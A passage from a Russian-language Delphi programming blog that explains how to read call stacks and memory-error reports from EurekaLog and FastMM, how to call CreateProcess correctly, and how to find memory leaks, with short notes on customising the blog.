Но достаточно про эти сухие цифры – уж их-то вы будете использовать редко :) Потому что при наличии отладочной информации, ассоциированной с этим адресом, рядом будет указана более дружественная информация. А именно: имя модуля (unit), класса, метода или функции и номер строки. Иногда часть информации может отсутствовать – это зависит от детальности самой информации. Мы уже обсуждали это здесь и здесь.

Собственно, эта информация говорит сама за себя: вот вам Delphi-вый модуль, вот вам метод и даже строка в нём, где возникла ошибка (для первой строки в стеке вызовов) или произошёл вызов подпрограммы (для всех остальных строк). Единственное, что требует комментария: номера строк. Часто вместе с абсолютными номерами строк (отсчёт от начала файла) указываются смещения в строках (и иногда даже в байтах) самой строки от начала процедуры, которой она принадлежит. Например, пусть у нас есть такой код:

procedure Test;
begin
DoActions;
DoActions2;
end;


Слева указывается обычная нумерация строк, как она есть в редакторе кода – абсолютная, от начала файла. Так вот, номера строк для DoActions2 может выглядеть как “48[2]” (стиль EurekaLog) или “Line 48, "Unit1.pas" + 1” (стиль JCL). Что следует читать как: это 48-я строка в файле или вторая строка в процедуре Test.

Зачем нужны эти относительные смещения? Ну, они чрезвычайно удобны при чтении стека вызовов, если ваши исходники поменялись. Например, вы добавили процедуру до процедуры Test. Сама процедура Test сместилась ниже на 27 строк. Понятно, что теперь строка 48 принадлежит совершенно другому коду. Однако, вы все ещё можете найти DoActions2, если вы посмотрите на имя процедуры в стеке вызовов (“Test”) и отсчитаете 2 строки от её начала.

Кстати, EurekaLog также умеет смотреть в папку __history (доступна только в новых версиях Delphi), чтобы извлечь оттуда наиболее подходящую версию исходника для просмотра (это происходит когда вы дважды щёлкаете по строке в стеке вызовов в EurekaLog Viewer).

 

Чтение стека вызовов

Вот несколько моментов, которые надо иметь ввиду, когда вы читаете стек вызовов.

Во-первых, в одном файле баг-отчёта может быть несколько отчётов об ошибках. Во-вторых, даже в одном отчёте может быть перечислено несколько стеков вызовов: по одному на каждый поток. Так что, прежде чем приступать к анализу стека, – убедитесь, что вы собрались читать нужный ;)

Как правило, все стеки вызова следует читать снизу-вверх: в самом низу находится процедура, которую вызвали первой. Выше – процедура, вызванная из стартовой, ещё выше – ещё один вложенный вызов и т.д., пока в самом верху вы не увидите текущее место. Часто это и будет именно место возникновения ошибки (но не всегда – см. ниже), а вся прочая часть стека вызовов показывает, как мы в это место пришли.

Первые (снизу) несколько процедур в стеке вызовов обычно являются системными или принадлежат RTL Delphi и, как правило, редко представляют интерес. Часто информация о них отображается лишь частично – ввиду отсутствия отладочной информации. Также иногда стек вызовов имеет ограничение в глубину, т.е. не может содержать более N элементов. В этом случае нижняя часть и вовсе обрезается.

С другой стороны, в верхней части стека вызовов кроме собственно места ошибки иногда могут идти упоминания и служебных процедур – это зависит от того, в каком месте (на какой стадии раскрутки) обнаруживается проблема и строится стек вызовов. К примеру, там могут упоминаться процедуры обработки исключений или вызовы GetMem и т.п.

Также некоторые утилиты специально добавляют в стек вызова адрес ошибки, если он доступен. Например, для исключения это будет адрес возникновения (т.е. адрес инструкции кода, возбудившей исключения). В этом случае, если стек вызовов уже содержал этот адрес в своём начале, то ничего и не происходит. В случае же, если в стек попали адреса каких-то служебных процедур, то адрес проблемы может дублироваться (указываться в стеке вызов два раза): в самом стеке и самой верхней строчкой.

Далее, надо также иметь ввиду способ, которым строится стек. Их два: по фреймам вызовов (frame-based) и raw-метод. Первый метод строит стек, опираясь на последовательность фреймов, которые добавляются в стек при большинстве вызовов процедур. Обычно этот метод даёт хорошие результаты, если только у вас нет большого числа коротких процедур – для них стековые фреймы, как правило, не создаются (хотя вы и можете это исправить, включая опцию “Stack Frames”). Благодаря тому, что метод смотрит только на информацию о реальных вызовах – он довольно точен и быстр, т.к. не смотрит всю информацию в стеке, а просто проходит по цепочке фреймов, каждый из которых ссылается на предыдущий.

Raw-метод работает иначе: он просто сканирует весь стек, пытаясь найти в нём адреса возврата. Действительно, создаётся или нет фрейм вызова – это вопрос. Но вот адрес возврата-то кладётся в стек всегда. Вот их-то и пытается найти raw-метод. Для этого он берёт каждое число в стеке и пытается определить: похоже это на адрес возврата или нет? Поэтому raw-метод применяется только в сочетании с некоторой эвристикой. В зависимости от качества этой эвристики, построенные стеки вызовов могут значительно отличаться. К примеру, можно смотреть на то, указывает ли значение на сегмент кода, есть ли для него отладочная информация и т.п.

К чему я вас этим гружу? Да к тому, что чтение стека вызова будет зависеть от того, каким методом он построен. И вам лучше бы знать это до того, как вы приступите к анализу отчётов.

Какая есть разница? Ну, по описанию можно и самому сообразить: frame-based метод может пропускать вызовы, если для них не создаются фреймы (как правило, это очень короткие процедуры) и вовсе застопориться, если хотя бы один фрейм был повреждён. С другой стороны, очевидно, что raw-метод во многом “агрессивнее” frame-based метода: уж он почти наверняка не пропустит вызов (если только он не отсёкся эвристикой), но может добавлять в стек вызовов лишние элементы – так называемые “ложные срабатывания”.

Поэтому, анализируя стек и видя странные вещи (“ну не может по моему коду эта процедура вызываться отсюда!”) – помните о методе, которым построен стек и либо предполагайте отсутствие метода в стеке (для frame-based), либо предполагайте лишнюю (ложную) запись (для raw). Особенно нужно помнить об этой разнице, если вы используете какой-либо метод получения стека вызова в самой программе – например, хотите получить имя вызывавшей вас процедуры. Не всегда (хотя и чаще всего) в стеке вызовов вызывающий будет следовать второй строкой.

EurekaLog версии 6 использует только raw-метод (поддержка frame-based планируется для версии 7). FastMM и JCL поддерживают оба метода, переключение между которыми осуществляется в опциях (последние версии по-умолчанию используют frame-based метод).

 

Поиск места ошибки

В основном тут хочется сказать такую вещь: ошибка не обязательно сидит в том месте, куда указывает стек вызова! Эту простую истину почему-то не понимает огромное количество народа.

Ну, например, у вас в программе есть один из этих проклятых багов порчи памяти: вы что-то делаете и попутно портите какую-то свою память. Код с багом может выполниться на ура, без ошибок. А ошибка возникнет много позже, при выполнении совершенно другого кода. У вас будет Access Violation, и стек вызовов будет указывать на совершенно невинный код.

Просто анализируйте ситуацию, чтобы не свалить всё на ни в чём не повинный код.

Более того, некоторые типы отчётов возможно получить именно не в момент ошибки. Речь, конечно же, идёт не об исключениях (уж их-то мы ловим сразу), а о проблемах с памятью (утечки и порча памяти). Например, очевидно, что менеджер памяти не может проверять весь пул памяти на корректность при каждой операции в программе: “а уж не собирается ли вот эта инструкция кода сейчас затереть нужную память?” Более того, это невозможно даже для выполнения только во время обращения к менеджеру памяти (т.е. к GetMem/FreeMem). Т.к. памяти выделяется много, управляющих структур ещё больше – и если сканировать их все при каждом обращении к менеджеру памяти, то производительность вашей программы упадёт до нуля.

Поэтому, менеджер памяти анализирует проблемы только по текущему контексту. Например, просим мы его освободить память: он проверит, уж не повреждён ли служебный заголовок у этого блока. Заметьте: только у этого, а не у всех. Далее, просим мы его выделить память: он пробегается по списку условно-свободных блоков и находит один. Прежде чем вернуть его вызывающему, менеджер памяти поверяет: а уж не писал ли кто чего в этот блок памяти, пока он был свободным?

Именно поэтому, обычно проблемы с памятью всплывают не в момент ошибки, а гораздо позже: когда испорченная память снова берётся в оборот.

Примеры? Ну, давайте посмотрим на FastMM (функциональность EurekaLog скромнее, поэтому с ней вы разберётесь по аналогии). Каждое сообщение FastMM начинается как “FastMM has detected an error during a ” – т.е. “FastMM обнаружил ошибку при ”. Далее указывается при какой же операции он нашёл ошибку: GetMem, FreeMem, ReallocMem или сканировании при поиске. Затем идёт собственно ошибка. Вот примеры ошибок:

  • “The block header has been corrupted”
  • “The block footer has been corrupted”
  • “FastMM detected that a block has been modified after being freed”
  • “An attempt has been made to free/reallocate an unallocated block”

Ну и другие, более редкие сообщения, типа вызова виртуального метода удалённого объекта. Смотрите: сообщения говорят о конкретных проблемах: FastMM обнаружел, что заголовок (header) или заглушка (footer) блока повреждены, запись в свободный блок или попытку повторного освобождения памяти. Ниоткуда не следует, что проблема произошла именно в этот момент! В текущий момент времени менеджер памяти просто обнаружил проблему. Сама проблема возникла ранее.

С целью помочь поймать проблему FastMM может добавлять в отчёт не только стек вызовов к текущему моменту, но и стек вызовов для последних успешных операций с блоком памяти (что означает, что проблема сидит где-то между двумя моментами). Например, если FastMM говорит о том, что он обнаружил, что свободный блок кто-то изменил, то это значит, что:

  1. Вы выделили блок (FastMM покажет этот стек вызовов).
  2. Вы освободили блок (FastMM покажет этот стек вызовов).
  3. Какой-то код испортил память, ошибочно записывая в этот свободный блок.
  4. Вы вызвали GetMem. В этот момент FastMM обнаруживает изменение в блоке и трубит тревогу (FastMM покажет этот стек вызовов).

В отчёте будет три (!) стека вызова для одной проблемы и ни один из них не будет представлять указание на проблему: проблема будет сидеть где-то между вторым и последним стеками вызовов.

Короче говоря: просто немного используйте свою голову (читайте сообщения, а не ломитесь проверять код по стекам вызовов) и всё будет отлично ;)

Как искать причину такой проблемы – об этом, в следующий раз.

 

Другая информация в отчёте

Помимо стека вызовов, в баг-отчёте есть ещё и другая информация, которая является вспомогательной. Из неё можно извлечь подсказки к поиску причины ошибки. Наиболее важными частями является информация о CPU и регистрах, а также дампы памяти. По ним зачастую можно определить состояние переменных в момент ошибки и другие полезные сведения. Конечно же, оперирование с этой информацией требует знания ассемблера, но это действительно мощный инструмент.

Впрочем, дампы памяти могут помочь даже неподкованному в ассемблере программисту. Например, дамп утечки в FastMM расскажет о том, какие данные лежали в этой памяти. И увидев, скажем, строку вместо данных объекта, мы сможем понять, откуда она взялась и проверить связанный с ней код.

К сожалению, здесь действительно трудно дать какие-то общие рекомендации – практически к каждому случаю надо подходить индивидуально. Когда вы высказываете предположения, что же может происходить в программе, дополнительная информация в отчёте может помочь вам проверить эти предположения.

Ну, например, странный AV на, казалось бы, ровном месте при вызове функции. Посмотрев на поле версии ОС, вы увидите, что программа была запущена в Windows 2000, в которой вы её не проверяли. А копнув глубже, вы обнаружите, что проблема была в том, что используемая вами функция не существует в Windows 2000 (вы динамически импортировали функцию, не проверяя на ошибки).



Посмотреть текст целиком...

14 июля 2009 г.

Доделки по блогу №3

Наконец-то, доделал подсветку синтаксиса в блоге.

Да уж, тянулось это долго, но я наконец-то сделал это :D
За основу взял этого товарища. А вот мануалы по установке: первый, второй, третий.

Вот пример:
var 
X: Variant;
begin
X := 123 + '321';
ShowMessage(IntToStr(X)); // комментарий
end;

Спасибо, Алексею Тимохину за наводку!

К сожалению, новый highlighter использует другой формат тегов оформления для подсветки, так что мне придётся перелопатить оба блога, заменяя тэги оформления :(( Если с этим блогом это ещё не очень страшно, то при мысле о блоге с переводами меня бросает в дрожь.
Ладно, буду двигаться постепенно.

Да, ещё в результате разговора с Алексеем открыл для себя, что в блог можно писать не только в его родном редакторе и даже не только отправляя e-mail-ы. Оказывается, существует туева хуча программ для "писания" в блоги. Алексей порекомендовал Windows Live Writer, у которого мало того, что присутствует интеграция с блоггером (как ни странно), но даже есть плагин для поддержки свеже-установленного highlighter-а.

Посмотреть текст целиком...

Этот проблемный CreateProcess...

Вроде бы эта функция не слишком сложна для понимания, но слишком уж часто её используют неверно или не понимают.

По крайней мере, регулярно появляются вопросы типа этого или этого.

Во-первых, не так сложно посмотреть описание параметров CreateProcess:

...

lpApplicationName [in, optional]
The name of the module to be executed. This module can be a Windows-based application. It can be some other type of module (for example, MS-DOS or OS/2) if the appropriate subsystem is available on the local computer.

The string can specify the full path and file name of the module to execute or it can specify a partial name. If it is a partial name, the function uses the current drive and current directory to complete the specification. The function does not use the search path. This parameter must include the file name extension; no default extension is assumed.

The lpApplicationName parameter can be NULL, and the module name must be the first white space–delimited token in the lpCommandLine string. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous.



lpCommandLine [in, out, optional]
The command line to be executed. The maximum length of this string is 1024 characters. If lpApplicationName is NULL, the module name portion of lpCommandLine is limited to MAX_PATH characters.

The function can modify the contents of this string. Therefore, this parameter cannot be a pointer to read-only memory (such as a const variable or a literal string). If this parameter is a constant string, the function may cause an access violation.

The lpCommandLine parameter can be NULL, and the function uses the string pointed to by lpApplicationName as the command line.

If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module to execute, and *lpCommandLine specifies the command line. The new process can use GetCommandLine to retrieve the entire command line. Console processes written in C can use the argc and argv arguments to parse the command line. Because argv[0] is the module name, C programmers typically repeat the module name as the first token in the command line.

If lpApplicationName is NULL, the first white space–delimited token of the command line specifies the module name. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin (see the explanation for the lpApplicationName parameter). If the file name does not contain an extension, .exe is appended. Therefore, if the file name extension is .com, this parameter must include the .com extension. If the file name ends in a period with no extension, or if the file name contains a path, .exe is not appended.

...
(выделение моё, описание приведено не полностью)

Не понимаете английского? Как вы вообще тогда можете быть программистом? Не будьте беспомощны! Вы можете воспользоваться любым авто-переводчиком:

...
lpApplicationName [In, необязательный]
Имя модуля для запуска. Этот модуль может быть Windows-приложения. Она может быть несколько иной вид модуля (например, MS-DOS или OS / 2), если соответствующие подсистемы имеется на локальном компьютере.

Строка может указать полный путь и имя файла модуля для выполнения или он может уточнить частичное название. Если это часть имени, то функция использует текущий диск и текущий каталог, в полной спецификации. Эта функция не используется путь поиска. Этот параметр должен содержать расширение имени файла; нет умолчанию предполагается продление.

Параметр lpApplicationName может быть NULL, тогда имя модуля имя должно быть первым токеном, отделённым пробелом, в lpCommandLine. Если вы используете длинные названия файла, который содержит в пространстве, использование цитирует строки для указания, где имя файла заканчивается, и начинаются аргументы, в противном случае имя файла является двусмысленным.



lpCommandLine [In, Out, необязательный]
Командная строка для выполнения. Максимальная длина этой строки 1024 символов. Если lpApplicationName является NULL, модуль имя часть lpCommandLine ограничена MAX_PATH символов.

Эта функция может модифицировать содержимое этой строки. Таким образом, этот параметр не может быть указателем для чтения памяти (например, Const переменной или буквальном строка). Если этот параметр является постоянной строки, функция может вызвать нарушение прав доступа.

В lpCommandLine параметр может быть NULL, и функция использует строку отметили в lpApplicationName как из командной строки.

Если оба lpApplicationName и lpCommandLine являются не-NULL, lpApplicationName определяет модуль для выполнения, а lpCommandLine указывает командную строку. Новый процесс может использовать GetCommandLine получить всю командную строку. Консоль процессов написаны на C можно использовать argc и argv для разбора аргументов командной строки. Поскольку argv [0] является именем модуля, C программистов, как правило, повторяют имя модуля как первый знак в командной строке.

Если lpApplicationName равно NULL, первый токен до пробела в командной строке должен быть именем модуля для запуска. Если вы используете длинные названия файла, который содержит в пространстве, использование цитирует строки для указания, где имя файла заканчивается, и начинаются аргументы (см. пояснения к lpApplicationName параметров). Если имя файла не содержит расширения,. EXE прилагается. Поэтому, если в имени файла расширение. COM, этот параметр должен содержать. Ком продления. Если имя файла заканчивается в срок, не расширение, или если имя файла содержит путь. EXE не добавляется.
...

Это не так сложно сделать и так же не сложно понять.

Тем не менее, постоянно встречаются ошибки:
- забываем про кавычки. Кавычки нужны в командной строке (второй параметр CreateProcess) и не нужны в имени модуля (первый параметр).
- забываем про имя модуля в командной строке, если явно указали запускаемый модуль (не забываем: командная строка передаётся процессу "как есть").
- перемешиваем вообще всё, что возможно перемешать, пихая параметры командной строки в имя модуля.

Если указывается первый параметр, то приложение должно быть указано дважды: первый раз в первом параметре, второй раз - в командной строке (второй параметр).

Логика такая: командная строчка (второй параметр) передаётся программе "как есть". Программа может парсить командную строчку, как ей будет угодно. Соответственно, если в командной строке вы не укажете саму программу, а только её параметры, то сама программа в них запутается: она примет первый параметр за своё имя (нет, ParamStr(0) в Delphi вызывает GetModuleFileName, но другие могут), а второй параметр (если он есть) - за первый.
Имя же программы для запуска загрузчиком ОС берётся из первого параметра, если он задан. Или пытается извлечься из второго, если нет.

Вот это "пытается извлечься" и есть причина, почему всегда рекомендуется указывать первый параметр:
  Application := 'C:\Program Files\MySoft\MyApp.exe';
Params := '-n:6 /p5 "C:\Program Files\MySoft\Data.bin"';
CreateProcess(PChar(Application), PChar('"' + Application + '" ' + Params), ...);

Так ошибок не будет никогда (обратите внимание на расстановку кавычек и пробелов). А если вы его не укажете - у вашей программы могут быть серьёзные проблемы с безопасностью. Особенно, если вы не используете кавычки.
Связано это с правилами поиска/автодополнения файлов и библиотек для запуска. Не буду тут особенно мыслью растекаться - и сами можете почитать у Рихтера или в MSDN.

Да, кстати, получаете EAccessViolation ("Access violation at address...") при вызове CreateProcess на Delphi 2009? Внимательнее читайте описание функции:
lpCommandLine [in, out, optional]
...
The Unicode version of this function, CreateProcessW, can modify the contents of this string. Therefore, this parameter cannot be a pointer to read-only memory (such as a const variable or a literal string). If this parameter is a constant string, the function may cause an access violation.


P.S. Кстати, у меня в блоге когда-то была задачка про CreateProcess.
P.P.S. Да, сорри за задержку в переводах, но дел сейчас невпроворот.

Посмотреть текст целиком...

25 июня 2009 г.

Кастомизация блога №2

Очередные доделки по блогу...

Внёс небольшие изменения по обоим блогам:
- поиск гугла (первый виджет в тулбаре слева)
- связанные посты (под каждым постом)
- последние сообщения и комменты (под архивами и тэгами)
- интеграция с FeedBurner (ссылки на подписку слева, после последних комментов)

Часть советов взял с Blogger Buster.

Хотел ещё сообщения, комменты, архивы и тэги объединить в одно поле с переключением по закладкам. Мучался полдня, вроде бы сделал... как вдруг обнаружил, что при установленном хаке работает нормально только страничка индекса, а при просмотре поста сам пост пропадает. Увы, но моих навыков недостаточно для разрешения этого бага. Пришлось откатить на предыдущую версию. Полдня считай потерял впустую :(
А ведь у меня теперь ещё и подсветка синтаксиса нормально не работает. Когда только поставил - вроде нормально крутилась. А потом вдруг перестала. Чего ей не хватает - тоже не в моих силах понять.

Посмотреть текст целиком...

24 мая 2009 г.

Ищем утечки памяти

Пост блога EurekaLog.

Прежде чем приступить к продолжению описания других способов ловли "плохих" указателей, я хотел бы поговорить об утечках памяти и о механизмах их диагностики. Как мы увидим в дальнейшем, эта тема будет очень близко связанна с нашим предыдущим разговором.
Примечание: если вы плохо или совсем не понимаете, что такое указатели и/или объекты - рекомендую сначала прочитать эту статью.

Хотя любые ошибки в программе - это всегда плохо, но некоторые типы ошибок могут менее болезненно проявлять себя в определённом окружении. Например, ошибки утечки памяти или ресурсов довольно безобидны для клиентских машин (из-за сильно ограниченного времени работы) и довольно опасны на серверах.
Когда новичок загорается идеей поиска утечек памяти (или оптимизации использования памяти), он обычно открывает Диспетчер Задач и смотрит на своё приложение и колонку "Память" напротив него:

Диспетчер Задач с колонкой Память
И всё бы ничего, но потом он замечает, что колонка эта очень странно себя ведёт даже на простом приложении: память не уменьшается при закрытии форм, но почему-то пропадает при сворачивании приложения и т.п.
Хороший вопрос: а с чего новичок взял, что в этой колонке показывается именно память, выделенная его кодом? Если открыть меню "Вид"/"Выбрать столбцы", то можно увидеть ещё кучу показателей, которые тоже подходят под определение "память" - это и виртуальная память и различные виды пулов.
Так вот, открою вам секрет, что колонка "Память" в Диспетчере задач - это кол-во оперативной памяти, которую занимает ваша программа. Это вовсе не количество выделенной вами памяти (об этом можно было догадаться и самому, как только мы увидели, что у нашей программы пропадает "память" при сворачивании - ведь и ребёнку понятно, что без нашей команды память у нас отнять не могут). Во-первых, ваша программа может занимать меньше ОЗУ, чем вы выделили, т.к. часть данных может быть скинута в файл подкачки. Во-вторых, часть памяти не является эксклюзивно вашей: например, все системные библиотеки хотя и загружаются в каждый процесс, но тем не менее, присутствуют в памяти в единственном экземпляре (впрочем, это не относится к их данным). Это значение также называют "Working Set" или песочницей.
Вот снимок стандартного Диспетчера Задач и более продвинутого Process Explorer со всеми колонками "памяти":

Сравнение показателей Диспетчера Задач и Process Explorer-а
Не правда-ли, большой разброс по значениям?
Для тех, кто желает покопаться в деталях, отправляю к статям Марка Руссиновича про виртуальную память и пулы памяти.
Так что давайте выкинем на время Диспетчер Задач и вернёмся к нашему Паскалю. Как в Delphi осуществляется управление памятью? Ранее я уже говорил о наличии кода, который осуществляет централизованное управление памятью. Этот код называется менеджером памяти. Это значит, что искать утечки памяти не очень сложно, т.к. мы можем легко перехватить любые выделения и освобождения памяти, просто подставив свой "менеджер памяти", который будет просто заглушкой. Он не будет реально работать с памятью, перенаправляя запросы старому (настоящему) менеджеру памяти программы, а вместо этого он будет просто вести учёт памяти.
Что значит, что в программе есть утечка памяти? Это значит, что ваш код выделил память и забыл её освободить. Также это значит, что при выходе из программы у вас окажется блок неосвобождённой памяти. Иными словами, будет несоответствие числа вызовов на выделение и освобождение памяти.
Что нам нужно сделать для поиска утечки памяти? Нам нужно запоминать каждое выделение блока, фиксируя, в каком месте оно произошло, а в конце работы пройтись по оставшимся блокам памяти, которые никто не удосужился освободить. Каждый такой блок - это и есть утечка памяти.
Замечу, что сегодня нет смысла писать код диагностики вручную, если только вы не отлаживаете какой-нибудь очень хитрый глюк. В типичных ситуациях вполне сгодятся готовые инструменты, к рассмотрению которых мы сейчас и приступим.

Delphi


Окей, даже в Delphi "из коробки" есть базовая возможность диагностики, так что вы можете как минимум проверить наличие утечек памяти без использования сторонних утилит. Правда, если вы увидите утечку, то чтобы найти источник проблемы, вам всё же придётся воспользоваться чем-то ещё. Ну да ладно.
Во-первых, стоит упомянуть о том, что за всю историю Delphi в ней использовалось два менеджера памяти: один - довольно древний и примитивный (я не знаю, имел ли он какое-то название). В новые версии Delphi стали включать модификацию менеджера памяти FastMM - функционально богатого и исключительно быстрого менеджера памяти. Автономная версия FastMM и является одним из инструментов для поиска утечек памяти - его использование мы и расмотрим чуть ниже (кстати, FastMM вполне можно установить и в старые версии Delphi).
Окей, в старом менеджере памяти у нас в распоряжении есть глобальные переменные AllocMemCount и AllocMemSize (кол-во и суммарный размер выделенных блоков). Таким образом, чтобы сделать простейшую проверку на утечки памяти, вам нужно использовать такой простой модуль:
unit Unit2;

interface

implementation

uses
Windows;

initialization

finalization

if AllocMemCount <> 0 then
MessageBox(0, 'An unexpected memory leak has occurred.', 'Unexpected Memory Leak', MB_OK or MB_ICONERROR or MB_TASKMODAL);

end.

Не забудьте, что подключать его нужно самым первым в dpr-файле. Если при выполнении программы у вас будет утечка памяти, то при закрытии программы вам будет показано сообщение.
Для того, чтобы диагностировать, кто конкретно тут виноват - вам придётся использовать один из инструментов, перечисленных ниже.
В новых версиях Delphi эти переменные и больше не работают. Зато их итоговая функциональность доступна переключением флага ReportMemoryLeaksOnShutdown. Всё, что вам нужно сделать в этом случае - установить глобальную переменную ReportMemoryLeaksOnShutdown в True при старте программы.

EurekaLog


У EurekaLog тоже есть функциональность по поиску утечек памяти. По-умолчанию она выключена, т.к. её включение не обходится за бесплатно - при ей включении слегка замедляется выполнение программы и увеличивается потребляемая память, поскольку теперь надо вести учёт каждому выделению памяти. Кроме того, эта функциональность ограничена: она не доступна в C++ Builder и для приложений, собранных с пакетами, кроме того, она может поймать не более 1024 учетки.
В любом случае, для ей включения нужно поставить флажок "Catch memory leaks" на вкладке "Advanced options":

Включение контроля утечек памяти в EurekaLog
Если вы включаете отлов утечек, то при выходе из программы вам сообщат о наличии утечек памяти, если таковые будут:

Диалог об утечке в стиле MS Classic
Стиль MS Classic


Диалог об утечке в стиле EurekaLog
Стиль EurekaLog


Подробный вид отчёта об утечках
Подробности отчёта


Как видите, все утечки памяти в программе будут представлены в одном отчёте, который ничем не отличается от обычных отчётов EurekaLog - пользователь точно так же может отправить его вам, как он делает это с обычными отчётами. Единственные два отличия это: отсутствие вкладок CPU и Assembler и пропуск вызовов обработчиков событий. Второе делается по той простой причине, что проверка на утечки делается последним действием в программе, когда никакой служебный код уже не работает. Вызов стандартных обработчиков в этот момент привело бы к плохим вещам.
Несколько под-опций на всё той же вкладке "Advanced options" контролируют поведение проверок утечек памяти.
Опция "Group son leaks with its father" помогает улучшить читабельность отчёта при наличии большого числа утечек. Она скрывает "дочерние" утечки памяти. Например, вы забыли удалить объект. Но в этом объекте есть ссылки на другие объекты. С выключенной опцией "Group son leaks with its father" у вас будет упомянут каждый объект, с включенной - только один: тот самый, корневой, который ссылается на другие объекты. Т.к. при удалении этого объекта пропадут и другие утечки. Вам следует выключать эту опцию, если вы хотите получать более детальный отчёт о проблемах.
Опция "Hide Borland leaks" пытается опознать и скрывать утечки памяти, вызванные недочётами в коде RTL/VCL Delphi. При выключенной опции вы можете получать отчёт об утечке, даже если в вашем коде её нет. Например, код может создать глобальный объект, но никогда не удалять его, в расчёте на то, что память будет освобождена при выходе из приложения. Хотя, строго говоря, это не является программистской ошибкой, это, тем не менее, ошибка проектирования, т.к. она затрудняет анализ приложения на настоящие утечки памяти.
Опция "Free All Memory" говорит сама за себя: надо ли освобождать память для этих самых утечек. В большинстве случаев нет никакой разницы, т.к. при выходе из программы вся память всё равно будет освобождена. В основном эта опция используется для решения проблем совместимости со сторонним кодом.
Об опции "Catch leaks exceptions" мы поговорим в другой раз - это и есть та побочная функциональность диагностики утечек памяти, которая может быть использована для поиска проблем с удалением объектов.

FastMM


FastMM также имеет неплохие возможности по диагностике утечек памяти. К сожалению, встроенная в Delphi версия не обладает полным функционалом, поэтому вам всё равно придётся скачать и установить полную версию FastMM.
Собственно, устанавливать ничего и не нужно: достаточно скачать и распаковать архив, после чего добавить модуль FastMM4.pas в свой проект (возможно, вам также придётся добавить папку с FastMM в Search Paths проекта). Добавлять модуль, разумеется, нужно самым первым. Если вы используете EurekaLog, то модуль ExceptionLog должен быть перечислен сразу же за модулем FastMM4.
Сразу после подключения, FastMM работает в штатном режиме: как отличный менеджер памяти. Различные функции диагностики включаются правкой файла опций. Для этого вы должны открыть файл FastMM4Options.inc, поменять там опции и сделать Build проекту. Для тех, кто не очень понимает в том, что такое директивы условной компиляции:

{.$define AssumeMultiThreaded} - опция выключена
{$define AssumeMultiThreaded} - опция включена

Или же вы можете использовать вот эту программку для визуального редактирования опций.
Итак, во-первых, нам понадобится включить опцию FullDebugMode, т.к. только с ней становятся доступными возможности диагностики утечек. Включение этой опции означает, что вашей программе теперь будет нужна библиотека FastMM_FullDebugMode.dll. Скомпилированный вариант можно найти в папке \FullDebugMode DLL\Precompiled\. Вы также можете скомпилировать свой вариант, если вам нужны другие опции для неё (я скажу об этом чуть ниже). В простейшем случае вам нужно просто скинуть эту библиотеку в папку с программой или в C:\Windows\System32, чтобы сделать доступной её для всех программ. Последнее удобно сделать на машине для разработки. Замечу, что функциональность по отлову утечек памяти доступна и без включения опции FullDebugMode, но в этом случае FastMM будет работать также, как и в варианте с Delphi выше: сообщая только о наличии/отсутствии утечки, но ничего не сообщая о её местонахождении.
Из-за этого FastMM в режиме отладки слабо подходит для использования вне окружения для разработки: всё-таки вам придётся таскать за собой отдельную DLL, да плюс ещё замедление работы. Поэтому оптимальным вариантом будет тестирование программы с полным режимом отладки FastMM при разработке, а поставлять программу стоит с выключенной опцией поиска утечек памяти, либо же использовать функциональность EurekaLog. Она выглядит более скромно, чем аналогичная функциональность в FastMM, зато и более пригодна к использованию на машина конечных пользователей.
Итак, кроме включения режима отладки, нам нужно включить ещё функциональность поиска утечек памяти. Это делается опцией EnableMemoryLeakReporting. Заметьте, что рядом с FullDebugMode и EnableMemoryLeakReporting перечисленны ещё несколько опций, которые контролируют поведение этой функциональности (заметьте, что каждая опция снабжена комментарием в самом файле, так что я приведу только краткое описание):
- RawStackTraces - включает RAW метод трассировки стека. По умолчанию используется стековый метод. Вы можете переключать эту опцию, если стек вызовов вызывает у вас затруднения при чтении. Подробнее об этом я говорю в статье про чтение лог-файлов.
- LogErrorsToFile - записывать ошибки (не только утечки) в файл отчёта в папке с программой. Если вы выключаете эту опцию, то вам нужно ловить вывод от FastMM другими способами.
- LogMemoryLeakDetailToFile - записывать утечка памяти в файл. Не работает, если выключена опция LogErrorsToFile.
- ClearLogFileOnStartup - удалять файл-лог при запуске. Если опция выключена, то в один файл будут суммироваться отчёты от нескольких запусков. Может иногда ввести вас в заблуждение: вы можете подумать, что в программе есть утечка, когда файл-отчёт содержит старые записи от предыдущего запуска.
- DisableLoggingOfMemoryDumps - отключает запись подробной информации об учетках (дампы памяти). Уменьшает размер отчёта.
- HideExpectedLeaksRegisteredByPointer - скрывать утечки памяти, которые были зарегистрированы вызовом RegisterExpectedMemoryLeak. FastMM не добавляет автоматически утечки памяти в коде самой Delphi, так что если у вас такая ситуация, то вы можете при старте программы вызвать RegisterExpectedMemoryLeak, передав ей адрес объекта, который утекает (если у вас есть возможность его получить, конечно же).
- RequireIDEPresenceForLeakReporting - включение этой опции заставляет программу включать диагностику утечек памяти только при запущенной IDE Delphi.
- RequireDebuggerPresenceForLeakReporting - очень похожа на предыдущую опцию, только требует, чтобы программа была запущена именно из под IDE Delphi (предыдущая опция требует наличия IDE, программа же может быть запущена и в свободном режиме).
- RequireDebugInfoForLeakReporting - а эта опция включает диагностику только, если в программе есть отладочная информация (я об этом скажу ещё чуть ниже).
- ManualLeakReportingControl - включение опции позволяет вам использовать глобальную переменную ReportMemoryLeaksOnShutdown для ручного включения/выключения контроля утечек памяти.

Кроме того, в этом же файле перечисленны и другие интересные для диагностики опции:
- NoMessageBoxes - выключает показ сообщений об ошибках.
- UseOutputDebugString - включает использование OutputDebugString для вывода сообщений об ошибках. Вывод от OutputDebugString ловится отладчиком (в Delphi это View/Debug Windows/Events) или программой DebugView при свободном прогоне.

Опции CheckHeapForCorruption, CatchUseOfFreedInterfaces и DetectMMOperationsAfterUninstall мы обсудим в следующий раз, т.к. они напрямую связаны с нашей предыдущей темой.

Прежде, чем вы сможете использовать FastMM в своей программе, вам осталось сделать ещё одну вещь: добавить в программу один из вариантов отладочной информации. Если в случае с EurekaLog отладочная информация генерировалась и добавлялась в программу автоматически, а в случае с Delphi она была просто не нужна (т.к. там были простые проверки, не было стеков вызовов), то для FastMM её нужно добавлять вручную. Отладочная информация используется библиотекой FastMM_FullDebugMode.dll при построении отчёта для получения информации об адресах памяти в вашей программе. Если отладочная информация будет недоступна, то в отчётах об ошибках вы увидите только безликие адреса, а никаких Button1Click там не будет.
